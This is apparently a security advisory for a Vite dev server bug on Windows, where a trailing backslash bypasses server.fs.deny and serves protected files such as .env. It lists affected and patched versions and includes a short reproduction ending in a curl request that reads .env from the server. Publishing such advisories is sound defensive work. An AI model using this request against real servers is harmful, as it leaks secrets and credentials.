| Package | Affected versions | Patched versions |
|---|---|---|
| vite | ≥ 2.9.18, < 5.4.21≥ 3.2.9, < 5.4.21≥ 4.5.3, < 5.4.21≥ 5.2.6, < 5.4.21≥ 6.0.0, < 6.4.1≥ 7.0.0, < 7.0.8≥ 7.1.0, < 7.1.11 | 5.4.216.4.17.0.87.1.11 |
Files denied by server.fs.deny were sent if the URL ended with \ when the dev server is running on Windows.
Only apps that match the following conditions are affected:
server.host config option)server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns). These patterns were able to bypass by using a back slash(\). The root cause is that fs.readFile('/foo.png/') loads /foo.png.
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env\ http://localhost:5173
<img width="1593" height="616" alt="image" src="https://github.com/user-attachments/assets/36212f4e-1d3c-4686-b16f-16b35ca9e175" />Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free